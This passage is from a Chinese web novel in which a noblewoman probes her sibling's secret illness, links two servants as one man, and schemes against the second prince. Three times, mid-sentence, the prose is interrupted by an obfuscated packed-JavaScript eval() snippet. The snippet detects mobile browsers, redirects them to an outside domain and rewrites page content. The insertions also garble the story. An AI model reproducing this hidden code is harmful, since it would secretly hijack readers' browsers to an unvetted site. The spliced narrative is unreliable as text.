萧青越看向远处,“阿姐也没有骗阿妹的时候。” 徐昭意讶然,这是这人第一次自称“阿姐”吧? 还没等她反应过来,一道沉稳的少年音忽而从她身后响起:“大娘子,该喝药了。” 她转头望去,只见一名身着灰衣的少年端着药碗从偏房走出,面容清秀,眼神却冷峻如刀。 阿青长这样吗?徐昭意忽然有些不确定了。 她不由得多看了阿青几眼。 阿青视若无睹,直直盯着萧青越看。 萧青越瞥了他一眼,淡淡道:“药放下,你先退下。” 阿青沉默点头,将药碗放在石桌上,转身离去前,目光却在徐昭意身上停留了一瞬,眼底闪过一丝晦暗的敌意。 徐昭意眯了眯眼,忽然笑了:“阿姐这侍从,倒是忠心。他可是阿姐从阴山带回来的人?” “我在阴山一穷二白,哪有什么侍从?”萧青越笑了笑,“阿青做事稳重,我见他可靠,便将他从父亲手中要了过来。” “父亲手下能人辈出,阿姐慧眼识珠,挑了个好帮手。”徐昭意收回目光,唇角弯起,笑意却未达眼底,“只是阿青瞧着,似乎对妹妹颇有微词?可是妹妹何处得罪了他?” 萧青越的语气漫不经心:“下人不懂事罢了。阿妹金尊玉贵,何必与一个粗使计较?许是他见你寻上门来,怕扰了我养病的清静。”他刻意加重了“养病”二字,带着点自嘲意味。 徐昭意眸光微闪,顺着他的话往石桌上的药汤看去。 深褐色的药汁氤氲着苦涩热气,一丝若有似无的、熟悉又陌生的药味混杂其中,让她心头微动。 这闻着不像是治寻常风热病的药...... “阿姐得了何病?这药闻着甚是苦涩。”徐昭意话风一变,话语里满是关切。 “寻常风热病罢了。”萧青越似是头晕,指尖按摩着太阳穴,声音有些虚弱,“阿妹的心意,我收到了。我现在病得难受,若是阿妹没别的事情,我就不招待了。” 徐昭意似是听不懂话里话外的逐客令,只抿唇,笑得不好意思,“其实妹妹这次上门来,还有一事相求。” 萧青越撩起眼皮看她。 徐昭意的面色泛起羞红,“阿姐也知晓妹妹身体不好,近段时间多思多虑,身体又差了些。妹妹一直想找个合适的练体师父,可苦于性别,一直没寻到合适的。阿姐武功高强,可否暂且教导妹妹一下练体术?” 萧青越看向一旁瞪大眼的凝露,缓缓笑起来,“阿妹身旁不是有凝露吗?我就不越俎代庖了。” “怎么能叫越俎代庖呢?”徐昭意的话音里满是不认同,“阿姐乃妹妹除父亲外最亲近的人,阿姐来教妹妹,那简直是天经地义!” “更何况......”她转头冲凝露不好意思地笑了笑,“凝露武力虽高,却不太会教新人。她不太合适。” 萧青越本想一口拒绝,可话到嘴边,视线扫过徐昭意比往日泛白的唇畔,顿了顿,到底改了口:“也可以,但我不一定比凝露会教。” “阿姐愿意教妹妹,妹妹便已感恩戴德了,万不敢再奢求其他。”徐昭意感激地看了萧青越一眼,视线扫过石桌上的药汤,柔声道,“妹妹先告退了,就不打扰阿姐养病了。” 萧青越心底莫名泛起几丝不悦,但他面上没显露出来,只虚弱地笑了笑,“我身体不适,就不送阿妹了,阿妹慢走。” 眼看着徐昭意的背影愈来愈远,逐渐化为一个小黑点消散在他的视线内,萧青越这才拿起碗,眼也不眨地一口闷。 熟悉的恶心感泛上喉口,他强行咽下去,面色却比先前白了几分。 “是药三分毒,表兄何必这样麻烦?”阿青心疼地看着他,眼底闪过一丝杀意,“这徐二娘子就是端贵妃她们的走狗,指哪儿打哪儿,阿青直接将她杀了便是,还能顺道刺激一下萧青恒那个伪君子!” “不必事事杀人。”萧青越恢复了几分,视线不经意扫过大门处,又收回来,话中情绪说不清道不明,“刚巧我也想知道,我这所谓的妹妹,她到底想干什么。” 另一边的马车上,徐昭意靠着车壁,若有所思,“凝露,我方才与阿姐交谈时,你可察觉到她的气息有何不对?” 凝露皱着眉,凝神苦思,“奴婢......奴婢感觉那人的气息是有些不稳,可若是她得了风热,那这气息倒是说得通。” 徐昭意也不失望,她本是心底起了怀疑,可又没有确切证据,故而也没对这没有论断的事情抱有什么期待。 但凝露却觉得自己先前在小七那里就让娘子失望了,在此处便万万不能再让娘子失望第二次。 她愁眉苦脸,半响后,忽而一拍脑袋。 “我想起来了!”她满眼兴奋,“那个阿青的武功与小七一样,十分深厚!” 在徐昭意疑惑的目光下,她嘿嘿笑了两下,解释道;“每种功法在经脉处的运转都是有自己的规律的,这种规律会变成吐息表现出来。这个阿青的吐息与小七十分相像,当是同出一脉!” 徐昭意眸光凛冽,指尖不断磋磨着,半响后忽而笑起来。 笑声柔和似流水,泠泠作响。 * 翌日再去时,徐昭意和凝露没敲多久门,门就被阿青打开了。 他满脸不情愿地将二人放进来,动作生硬地侧身让路,目光却如实质的冰锥,牢牢钉在徐昭意身上,充满了毫不掩饰的戒备与排斥。 徐昭意恍若未见,只含笑对他点了点头,便带着凝露,步履轻盈地踏入这清雅小院。 萧青越已等在院中空地上。 他今日换了一身更便于活动的素色窄袖劲装,长发仅用一根木簪松松挽起,脸上依旧覆着一层薄薄的铅粉,唇色也点了些胭脂,但眉宇间那股挥之不去的倦怠和苍白,却比昨日更明显了几分。 “阿姐。”徐昭意笑盈盈地福身行礼。 萧青越淡淡应声,视线掠过她身后的凝露,“既是练体,凝露姑娘便在廊下等候吧,地方小,人多反倒施展不开。” 凝露看向徐昭意,见她微微颔首,这才依言退到廊下,目光却紧盯着院中二人,尤其是不远处的阿青。 阿青则抱着手臂,靠在一根廊柱上,眼神锁住徐昭意,周身散发着生人勿近的低气压。 “开始吧。”萧青越的声音有些沙哑,他清了清嗓子,努力压下喉间的痒意,“练体之术,首重根基。阿妹身体柔弱,便从最基础的吐纳导引和舒展筋络开始。” 他走到徐昭意面前,两人之间的距离不足一步,徐昭意能清晰闻到他身上那股混合了药味、冷香和一丝极淡血腥气的复杂气息。 她心头那点隐秘的兴奋又跳动起来。 “双脚分开,与肩同宽。”萧青越抬手,指尖隔空点了点她的双肩,“肩要松,沉下去。” 徐昭意依言调整,动作却有些生涩,带着少女特有的娇柔。她抬眼看向萧青越,凤眸怯生生的:“阿姐......是这样吗?” 萧青越看向她,少女的脖颈纤细白皙,微微仰头时,优美的弧度在阳光下仿佛泛着莹润的光泽。 他的喉结几不可察地动了一下,随即移开视线,声音依旧平稳:“还不够,你没有真正打开。” 说罢,他向前踏了半步,两人之间的距离瞬间缩短到呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976713|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸可闻。 徐昭意甚至能感受到他身体散发出的、因伤病而略高于常人的温度。 他的手抬起,带着一丝犹豫,最终还是隔着薄薄的春衫,轻轻按在了徐昭意单侧肩上。 那触感炽热,带着一种不容忽视的力道,透过衣衫清晰地传递过来。 徐昭意的身体微微一僵。 “这里,”萧青越的指尖微微用力,带着一种不容抗拒的按压,试图教会她,“感觉到没有?让它自然地放松……对,就是这样。” 他的声音离得太近,温热的呼吸若有似无地拂过徐昭意的耳廓和颈侧,带来一阵细微的战栗。 那气息中混杂的药味和血腥气似乎更浓了些。 徐昭意敏锐感受到,当萧青越的手指在她肩上按压引导时,他自己的身体似乎僵了一瞬,仿佛在强忍着某种不适。 他在忍痛?徐昭意心中暗忖,面上却依旧是一副认真学习的模样,甚至微微侧过头,声音带着一丝困扰:“阿姐,这样对吗?” 她的动作让两人之间的距离拉近,萧青越几乎能看清她耳垂上细小的绒毛和颈间薄薄肌肤下的淡青血管。 萧青越的眼神暗了暗,迅速收回手,后退了半步,拉开距离。 他轻咳一声,声音带着一丝不易察觉的紧绷:“嗯,感觉对了就好。记住这个姿势,保持住。” 他转过身,背对着徐昭意,似乎气定神闲。 徐昭意看着他看似散漫的背影,唇角勾起一抹极淡笑意。 她依言保持着那个姿势,目光却紧紧落在那极细的腰背线条上。 她方才,似乎看见了一道血痕,就在阿姐的腰线处。 寻常风热会出血吗? “接下来是双臂。” 她吓了一跳,急忙收回目光,努力目不斜视。 萧青越转过身,扫了她一眼,做了一个简单的双臂平举动作,“像这样......” 徐昭意照做,却有些心不在焉。 “手臂不要绷太直,肘关节微微弯曲,留一分余地。”萧青越伸出手,一手轻轻托住她微抬的手肘下方,另一手的指尖则点在她微绷的手腕内侧,引导她调整角度。 他的手触感炽热,徐昭意手腕被滚烫包裹,下意识后退一步, “放松。”萧青越闭了闭眼,将徐昭意捞回来,指尖擦过她的腰封,又极快收回,话音微重。 “阿姐对……对不起,”徐昭意的睫毛如蝶翼颤动,声音带着一丝无措,“是妹妹太笨拙了,让阿姐费心。” 萧青越凝神盯着她的脑顶,她的发顶上有些许小碎发,毛茸茸的煞是可爱,与她的内心极度不符。 他垂下眼帘,后退一步,语调淡淡:“无妨。练体本就是循序渐进,急不得。今日就到这里吧,时间长了,你身体也受不住。” 他话音未落,一阵冷风吹过,带着早春的寒意。 “咳……咳咳……”萧青越猛地侧过头,剧烈地咳嗽起来。 廊下的阿青瞬间站直了身体,眼神锐利如刀,手已按在了腰间的短刃上。 徐昭意立刻上前一步,脸上满是担忧,作势要去搀扶:“阿姐!你怎么样?可是妹妹累着你了?”她的手伸向萧青越的手臂。 “我没事,只是风大呛着了。”萧青越不经意看了阿青一眼,声音沙哑,带着浓重的疲惫和逐客意味,“阿妹今日也累了,早些回去歇息吧。练体……改日再说。” 徐昭意的手僵在半空,随即缓缓收回。 她脸上担忧的神色依旧,声音也温软:“是妹妹疏忽了,阿姐快回屋歇着吧,莫要再受风了。妹妹……改日再来看望阿姐。” 说罢转身,她带着凝露,步履从容地向院门走去。 在踏出院门的那一刻,她眼角的余光清晰地瞥见阿青已经冲到了萧青越身边,小心翼翼地扶住了萧青越微微摇晃的身体。 门在身后轻轻合拢。 徐昭意脸上的担忧瞬间褪去,化作一片冰冷的平静。 她坐进马车,指尖无意识地摩挲着刚才被萧青越指尖触碰过的手腕内侧,那里仿佛还残留着一丝炽热触感,和阴魂不散的淡淡冷香。 “凝露,”她声音平淡无波,“咱们去看看小七。” 32. 是人是鬼 凝露欲言又止地看了徐昭意一眼,她觉得娘子对那个女人和小七的关注过于多了。 娘子刚与二殿下定亲,按照娘子往日的性格,她早早便会想办法让二殿下更喜欢她一点。可如今......这离定亲之日都过去许久了,娘子却毫无动静。 这很不正常。 “怎么了吗?”徐昭意忽而转头,笑吟吟看了凝露一眼。 那一眼明明没什么情绪,可凝露就是看得心惊胆战,到嘴的话一下子收回去了。 “没,没什么......”她摇摇头,讷讷一笑。 徐昭意看着凝露这副模样,沉默一会儿,再开口时,声音柔和了许多,“凝露,如今连你也有事要瞒着我吗?” 凝露一时又是委屈,又是心疼,连忙道:“哪里有的事儿!奴婢只是......不知从何说起。” 她心里有个模模糊糊的猜测,却过于荒诞,迟迟无法宣之于口。 在徐昭意鼓励的视线下,凝露深吸口气,惴惴不安地开口:“娘子不觉得......您对那位的关注太多了吗?” “哪里有的事儿?”徐昭意十分诧异。 她关注阿姐?她讨厌那个女人还差不多!那个女人一来就夺走了众人宠爱,还跟踪她、坏她好事,她若不关注这个女人,这个女人还不知道要坏她多少事...... 可这次阿姐归来,似乎并没有要坏她的倾向,她为何还要关注这个女人呢? 徐昭意不知为何,心底逐渐弥漫上一股惶恐。 凝露的声音还在耳侧响起:“您以前再讨厌一个人,也不会因为她误了正事。可如今呢?您好不容易才与二殿下定亲,按照您往常的性子,您应当会想方设法再见二殿下一面,加固他对您的喜欢。可您现在却流连于这条巷子......” 她话未说完,却是言已尽而意无穷,直叫徐昭意心底发凉。 她真的被那个女人影响,变得不太像自己了吗? 【叮!少年穷系列任务二:探寻高家隐秘,进度条:70%】 徐昭意猛然回神,就见马车已经抵达小七院子的门口。她的脑子全被这道系统音占据,心底的某个猜测隐隐成型,激得她抛却那些杂思,全心想去解密。 她从马车上一跃而下,不顾凝露在身后的疑惑叫喊,急冲冲往前奔。 她拐过曲折连廊,走过含苞荷塘,步子停在小七的寝居门前,深呼一口气,将门往前用力一推! 寝居内空无一人。 徐昭意笑眼弯弯,连常年惨白的唇色,也因此红润了几分。 她哼着小曲儿转身,鼻尖却嗅到一缕香气。 是烹制鱼肉的鲜香。 还没等她疑惑,下一秒,一道沙沙的少年音响起,带着疑惑,“徐二娘子?你站在我的寝居门口作甚?” 徐昭意唇边的笑容一僵,却也不甚明显,只缓缓抬头,盯着面前面色不说红润,却也不惨白、颓靡的面容清秀的少年郎,柔声道:“我方才看到一道黑影从空中落入你的寝居,又见你不在院中,便来替你观望一二。” 语毕,她瞧着少年郎没什么波动的脸色,又状似不经意问道:“你方才……在何处?” 小七的目光平静地越过她肩头,落在敞开的、空无一人的寝居内,随即又落回她脸上,带着一丝不易察觉的探究。 “在厨房,”他简短应声,侧身让开,“蒸鱼。” 随着他让开的动作,那股鲜甜的鱼肉香气越发浓郁地扑面而来,正是徐昭意方才在门口嗅到的味道。 “蒸鱼?”徐昭意眸光微闪,唇角的弧度加深,带着恰到好处的惊喜,“好香!小七竟有这手艺?” 她边说,脚步已自然地跟着小七转向厨房的方向,仿佛真的被那香气吸引。 厨房的门开着,灶上的蒸锅正咕嘟咕嘟冒着白色水汽,浓郁的鲜香正是从中溢出。灶台边收拾得颇为干净,只有砧板旁还残留着几片鱼鳞和些许水渍。 小七走到灶前,揭开锅盖,更浓郁的蒸汽瞬间弥漫开来,带着鱼肉特有的鲜美。他熟练地用筷子戳了戳鱼身,确认火候,头也不抬地道:“刚熟,二娘子可要尝尝?” 他的动作流畅自然,蒸鱼的火候也掌握得极好,仿佛一直在此忙碌。 徐昭意的视线却并未完全停留在鱼上,她细细扫过厨房的每一个角落:地面干燥,只有灶前因蒸汽而显得微湿;水缸里的水线不高不低;角落的柴禾堆码放整齐,没有新添的痕迹;甚至那几片残留的鱼鳞,边缘也带着一点风干的迹象…… 一切都符合一个独自在厨房料理的人留下的痕迹。 徐昭意眼底深处那点隐秘的兴奋,如同被浇了一瓢冷水,瞬间黯淡下去,只余下一片沉沉墨色。 她脸上却绽开一个明媚柔和的笑容:“闻着就让人食指大动。那我就不客气了,正好也替小七尝尝味道如何。” 她走到灶台边,看着小七将蒸好的鱼小心地盛入盘中。鲈鱼通体雪白,覆着薄薄的姜丝葱段,淋着清亮的酱汁,卖相极佳。 徐昭意接过小七递来的筷子,夹起一小块鱼肉,送入口中。鱼肉入口即化,鲜嫩无比,酱汁的咸鲜恰到好处地衬托出鱼肉的清甜。 “好吃。”她真心实意地夸赞,眉眼弯弯,“小七的手艺果然好。” 小七看着她满足的神情,唇角极轻微地上扬一瞬,快得像是错觉。他默默拿起另一双筷子,也夹了一块鱼肉。 两人就在这简陋的厨房里,对着灶台,安静地分食着那条清蒸鱼。 徐昭意吃得斯文,心思却在飞速转动。 凝露的判断不会错,那阿青的吐息与小七同源。青衣巷就这么大,两个武功路数如此相近的高手,怎么可能毫无关联?难道……他们本就是师出同门?甚至,本就是同一人? 可小七身上还带着伤,而阿青身上压根儿看不出带伤的痕迹。 “二娘子在想什么?”小七忽然打破沉默。他放下筷子,琥珀色的眸子静静看着她,里面映着灶火的微光,显得深不见底。 徐昭意心头一跳,面上却露出些许赧然:“没什么。只是觉得……小七你似乎比前两日精神了些。” 她顿了顿,目光在他脸上逡巡,带着恰到好处的关切,“伤口恢复得可还好?药按时吃了吗?” 小七垂下眼帘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983092|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避开她的视线,声音没什么起伏:“劳二娘子挂心,好多了。药也吃了。” “那就好。”徐昭意轻轻舒了口气,仿佛放下了心头大石,“看你这样,我就放心了。” 她放下筷子,用绢帕按了按唇角,“鱼很好吃,多谢款待。天色不早,我也该回去了。” 她步履从容地转身走出厨房,在她身后,小七的目光一直追随着她的背影,直到她消失在院门处,才缓缓收回。 那目光平静无波,深处却仿佛藏着无尽暗流。 * 回程的马车上,徐昭意靠着车壁,闭目养神。凝露看着她略显苍白的侧脸,忍不住低声道:“娘子,可瞧出什么了?那小子……” “他很好。”徐昭意打断她,声音有些疲惫,带着一丝不易察觉的烦躁,“伤口在恢复,精神也好,一个人在厨房蒸鱼,一切都很好。” 凝露张了张嘴,还想说什么,最终只化作一声低低的叹息。 徐昭意睁开眼,撩开车帘一角。 暮色四合,青衣巷两旁的院落次第亮起昏黄的灯火。她的目光不由自主地投向巷子深处,阿姐那座清雅小院的方向。 就在这时,一阵微凉的晚风拂过,带来一丝若有似无的……熟悉的鲜香。 是清蒸鲈鱼的味道。 那香气极其淡薄,转瞬即逝,又仿佛只是她的错觉。 徐昭意指尖捏得泛白,视线死死盯着那座清雅小院, 是那里传来的香气吗? 【叮!检测到关键信息关联!少年穷系列任务二:探寻高家隐秘,进度条:75%!宿主,您离真相很近了!】系统的提示音带着一种冰冷的亢奋。 徐昭意猛地放下车帘,靠在车壁上深深吸气,试图压下胸腔里翻腾的惊涛骇浪。 一个人蒸鱼?那阿姐院子里飘来的香气又是什么? “凝露,”她的声音在昏暗的车厢里响起,带着一种奇异的平静,却让凝露莫名打了个寒噤,“明日一早,去库房把那支上好的百年老参找出来,再备几味温补的药材。阿姐病着,我这做妹妹的,总得多去看看。” 她的指尖无意识地掐着掌心,留下几个深深的月牙印。黑暗中,那双凤眸亮得惊人,所有的困惑、烦躁、甚至那点莫名的惶恐,都被一种近乎偏执的探究欲所取代。 鱼就在那里。 是人是鬼,她都要亲手揭开那层蒸腾的迷雾。 可下一秒,马车停在国公府门前,有人高声道:“老爷请二娘子入院一叙。” 徐昭意跃下马车,定睛一看,却是父亲身侧最得力的小厮。 他老老实实站在门前,神色恭敬,却在她经过他的那一瞬,低声快速道:“老爷发了大火,二娘子待会儿千万不要忤逆老爷!” 他的声音愈发低沉:“老爷不满您三番五次去青衣巷找大娘子,认为您总在找她麻烦。再加上您擅作主张同二殿下定亲,却又没个待嫁娘子的样子,这才发了大火。” 徐昭意听着这些话,看向面前的主院大门。 院门金碧辉煌,内院门庭深深却无人。 她深吸一口气,跨步走了进去。 33. 惊闻噩耗 时隔多日,宋相府再次举办春日赏花宴,说是春花开正旺,须得有缘人赏。可明眼人都知道,这是贵妃内部势力协调后,为未来二皇子妃所造的势。 此次赏花宴,其余贵女都自觉打扮得很低调,就是为了突出徐昭意。 往常徐昭意遇到这种场面,面上虽然不会表现出来,但内心却会十分得意。可今日她看着满园春色,却有些心不在焉。 她这次带了花尽来,却没带凝露。她让凝露去青衣巷给阿姐和小七送人参了。 而她因着父亲昨日的敲打,近段时日,尤其是今日,不宜再往青衣巷走一步。 “你这段时间怎么了?怎么总心不在焉的?”卢平丹猛然从她身后蹿出来,狐疑地盯着徐昭意,面色愈发不对。 徐昭意被她一瞧,心底一虚,不自觉便挪开了目光,“怎么了......” “你是不是背着我交了新朋友?”卢平丹气势汹汹,越说越觉得自己有道理,“我当年背着你交新朋友的时候,就跟你一样的不咋出门,看你就心虚......” “这我没有!”徐昭意挺直脊背,眼神瞬间扫射卢平丹,一眯眼,“你还背着我交新朋友?是谁?” 卢平丹本是审问的一方,却不料一朝口快,她竟成了被审问的一方!她撇撇嘴,哼唧道:“新朋友还能是谁?肯定是宋姐姐呀!当年明明是我先认识的宋姐姐,没曾想她后头待你比待我都好!你说你这人坏不坏?” 徐昭意这下才想起这段渊源。但其实她一直没告诉卢平丹的是,宋大娘子接近她们的动机不纯。 那段时间正是她与宋大娘子别苗头,两人争夺二皇子妃位的关键时候。宋大娘子此刻接近卢平丹,不过是想从她身上探听到徐昭意的消息而已。 她不想让卢平丹被被人算计,便逐渐插手此事,硬是混进两人中间,三人一处游玩。一直到前段时日,皇子妃一事几乎尘埃落地,宋大娘子才逐渐与她们疏远开来。 卢平丹还在絮絮叨叨,徐昭意却已瞥见不远处款款走来的身影。 宋大娘子身着月白襦裙,裙摆绣着几枝淡雅兰草,正含笑朝她们这边望来。 “说曹操曹操到。”徐昭意轻轻推了卢平丹一把,眼底闪过一丝几不可察的冷光,面上却漾起温和笑意,“宋姐姐来了。” 卢平丹一怔,回头看见宋大娘子,立刻忘了方才的抱怨,兴冲冲迎上去:“宋姐姐!你可算来了,我跟昭意正说你呢!” 宋大娘子笑意温婉,目光在徐昭意脸上转了一圈,才柔声道:“不知二位妹妹在说我什么?该不是在背后编排我吧?” “哪能呢!”卢平丹大大咧咧地挽住她的胳膊,“我们在说,还是宋姐姐最懂分寸,不像有些人,总爱藏着掖着。”她说着,还意有所指地瞟了徐昭意一眼。 徐昭意端起侍女递来的茶盏,指尖轻轻摩挲着温热的杯壁,淡淡道:“平丹说笑了,我不过是近来身子懒,懒得应酬罢了。” 宋大娘子笑了笑,没接话,转而说起园中景致:“今年的牡丹开得格外好,尤其是那株姚黄,真是国色天香。听闻二殿下也爱这品种,方才还在那边驻足呢。” 她话音刚落,便有侍从高声通报:“二殿下到——” 众人纷纷转身行礼,徐昭意也随着众人屈膝,眼角的余光却不由自主地瞟向走来的身影。 萧青恒身着宝蓝色锦袍,腰束玉带,身姿挺拔,只是那张素来带笑的脸上,此刻却没什么表情,眼神淡淡扫过众人,最终落在徐昭意身上时,停顿了一瞬,随即移开,仿佛只是看了个无关紧要的人。 徐昭意心头微沉。 自那日汇祥阁一别,萧青恒虽未明说,但她能感觉到他待她愈发热情。如今好不容易再得见一面,他怎的忽而转了态度? “都起来吧。”萧青恒的声音听不出情绪,目光落在满园盛放的牡丹上,“今日天气正好,不必多礼。” 卢平丹是个心大的,见萧青恒神色平和,便凑上去笑道:“殿下也觉得这姚黄好看?方才我跟昭意还说,这花配殿下再合适不过了。” 萧青恒唇角似乎动了一下,像是想笑,却没笑出来。他转头看向徐昭意,语气听不出喜怒:“昭意妹妹觉得呢?” 徐昭意抬眸,迎上他的视线,脸上恰到好处地露出一抹羞怯:“殿下风姿卓绝,自然配得上这国色天香。”她这话答得滴水不漏,既捧了萧青恒,又没失了自己的分寸。 萧青恒深深看了她一眼,那目光似乎带着某种探究,看得徐昭意心头微紧。 他忽然淡淡道:“本宫倒觉得,这姚黄虽好,却少了几分灵气。倒是那边那丛蔷薇,开得热烈,更合心意。” 他说罢,竟转身朝另一侧的蔷薇花丛走去,自始至终没再看徐昭意一眼。 卢平丹愣在原地,挠了挠头:“二殿下今日怎么怪怪的?” 宋大娘子掩唇轻笑,目光却在徐昭意脸上停顿片刻:“许是殿下近来烦心事多吧。毕竟......朝中之事,总不似赏花这般惬意。” 她说着又叹了口气,“听说前几日,高家之事闹得沸沸扬扬,殿下为此费了不少心神。” 徐昭意端着茶盏的手指微微收紧,指尖泛白。 她自然听得出宋大娘子话里的试探。 所以......宋大娘子知道了什么?又想试探什么呢? “殿下为国操劳,自然辛苦。”徐昭意淡淡回应,语气疏离,“倒是宋姐姐,消息这般灵通,连高家之事都知晓得这般清楚。” 宋大娘子笑意不变:“不过是听府中下人闲聊时提起罢了。说起来,那日被处决的高家少主,倒让我想起一事......前些日子见一个身形与他颇为相像的少年总在青衣巷徘徊。按理说,高家少主不早已被处决了吗?或许是我看错了。” 徐昭意面上露出恰到好处的疑惑:“哦?竟有此事?我素来深居简出,倒是未曾留意。” 两人言语交锋,看似平和,实则暗藏机锋。卢平丹夹在中间,只觉得气氛有些微妙,却又说不出哪里不对,只能干巴巴地打圆场:“哎呀,说这些烦心事做什么!咱们还是看花吧,你看那朵红的,多好看!” 正说着,萧青恒竟又折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010369|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了回来,手里还拿着一朵盛放的蔷薇,花瓣层层叠叠,艳色逼人。 他走到徐昭意面前,将花递过去,语气听不出情绪:“方才见昭意妹妹似乎对这蔷薇有意,便摘来送你。” 周围瞬间安静下来,几道目光齐刷刷落在徐昭意身上,有好奇,有探究,也有像宋大娘子那般隐晦的审视。 徐昭意看着那朵艳红的蔷薇,又看了看萧青恒面无表情的脸,心头莫名一堵。 他这是在做什么?人前示好,弥补方才的冷淡?还是想借此试探什么? 她迟疑片刻,还是伸出手接了过来,指尖触碰到花瓣的柔嫩,也触碰到萧青恒微凉的指尖,两人都像被烫到一般,迅速收回了手。 “多谢殿下。”徐昭意垂下眼帘,声音轻柔,掩去眼底的复杂情绪。 萧青恒“嗯”了一声,目光却忽然扫过她鬓边的一支珠钗——那珠钗样式简单,却是他曾经送过的饰物。 他眼底飞快地闪过一丝波动。 “妹妹喜欢便好。”他淡淡道,语气依旧平淡,“只是这蔷薇虽艳,却带尖刺,妹妹拿着,可要当心些。” 这话意有所指,徐昭意如何听不出来?她心下一沉,莫名想起昨日父亲突然的警告。 二殿下莫不是知道了些什么? 她抬起头,迎上萧青恒的目光,柔顺应声:“二殿下说得是。” 她这话答得滴水不漏,萧青恒的脸色却突然沉了下去,周身气压骤降。 卢平丹吓得大气不敢出,悄悄拦在徐昭意身前。 宋大娘子则端着茶盏,慢悠悠地品着,仿佛事不关己,眼底却闪过一丝看好戏的光芒。 萧青恒死死盯着徐昭意,眸里压抑着怒火。他的自尊心不允许他在人前失态,更何况他与徐昭意乃未婚夫妻,荣辱几乎一体。 落徐昭意的面子,便是落他自己的面子。 他深吸一口气,压下心头火气,语气却冷得像冰:“是以昭意妹妹日后玩花需当心些,切莫被蔷薇扎了手。” 徐昭意握着蔷薇的手指微微用力,尖锐的花刺刺入掌心,带来一阵细微的刺痛。她却仿佛毫无所觉,只定定地看着萧青恒,脸上依旧挂着那抹淡淡的笑意:“昭意谢过二殿下关心。” “是吗?”萧青恒忽然笑了,只是那笑容未达眼底,带着一丝嘲讽。 他逼近她,在她毫无血色的耳垂旁轻声道:“昭意妹妹这般戏耍本殿,竟还有良心谢本殿?” 徐昭意心底忽而涌上一股极致的恐慌。 他知道了?他肯定是知道了! 萧青恒冷笑一声,眼中最后一丝温度也消失殆尽。他用只有两人能听到的声音,一字一顿,语调森寒:“徐昭意,本殿告诉你,本殿已经知道高家少主的下落了。” 徐昭意的瞳孔骤然收缩,她猛地抬头,撞进萧青恒那双再无半分情意的眼眸里,清晰看见自己面上藏不住的错愕。 “你最好祈祷他识相,永远消失在本殿的视线内。”萧青恒的声音冰冷刺骨,“否则,下一次行刑台上滚落的,就绝不会再是什么替死鬼的头颅!” 34. 小七之死 是夜,星子寥落,徐昭意负手站在窗前,眉眼深深。 “你再说一遍......你发现了什么?”她话语轻柔,听不出情绪。 凝露深吸口气,“奴婢今日去给那位送人参,敲了半天却无人开门,一气之下便翻墙而入。落地时奴婢听到烈火灼烧声,一时好奇便悄摸上前观望,却发现......” 她瞪大眼,直勾勾盯着徐昭意,“发现阿青在烧一个面具,看那火焰中露出的一角,像是小七的赤狐面具!” 徐昭意闭了闭眼,“那你后面去小七院落查看了吗?” 凝露点点头,声音逐渐凝重,“奴婢敲小七院门也无人开门,便翻墙而入,逐步排查了每一个房间,却无一人在!看小七寝居的痕迹,他当是当夜便走了,连寝被都未动过。” 这一消息沉沉砸来,激起滔天骇浪,旋即又诡异地归于一种死寂的冰冷。 “赤狐面具……在阿青手中焚烧……”徐昭意轻声重复,指尖无意识地掐入掌心,“小七与阿青同是琥珀色瞳孔……他当夜便走了……寝被未动……” 她缓缓转过身,那抹惯常挂在唇边的温柔笑容消失了,取而代之的是一种近乎空白的平静。 然而在这平静之下,凝露仿佛能感受到一种风暴来临前的压抑,甚至是隐隐约约、捉摸不透的兴奋。 “原来如此......小七与阿青竟是同一人......”徐昭意倏忽露出一抹笑来,“如此,事情也好办了。” 二殿下不是查到了些什么吗?但他肯定不知道“小七与阿青是同一人”这件事。 她拿过纸笔,在宣纸上唰唰唰地写了几行字,随后招来远处徘徊的信鸽,给它系上信件,遥望它远飞。 “娘子写了什么?”凝露好奇问道。 “告之二殿下,小七并非我主观想保,而是阿姐一力保下来的。二殿下若不信,可亲自派人去青衣巷试探,我绝不多加干扰。” 徐昭意一边说着,一边又写了两封信,递予凝露叮嘱道:“第一封是给阿姐的,第二封是给小七的,你伪装一下送过去,别让人发现身份,也别送错了。” “娘子在这两封信里写了什么?”凝露忍不住问道。 徐昭意神色莫测,“给阿姐的那封信里,写着小七就是阿青,他准备将阿姐迷晕,随后偷徐国公放于她这里的阴山布防图献给青汗国;给小七的那封信里,也用高家旧部的名义递了消息,说大娘子要将他的行踪卖给二皇子,约他三更在巷尾见面。 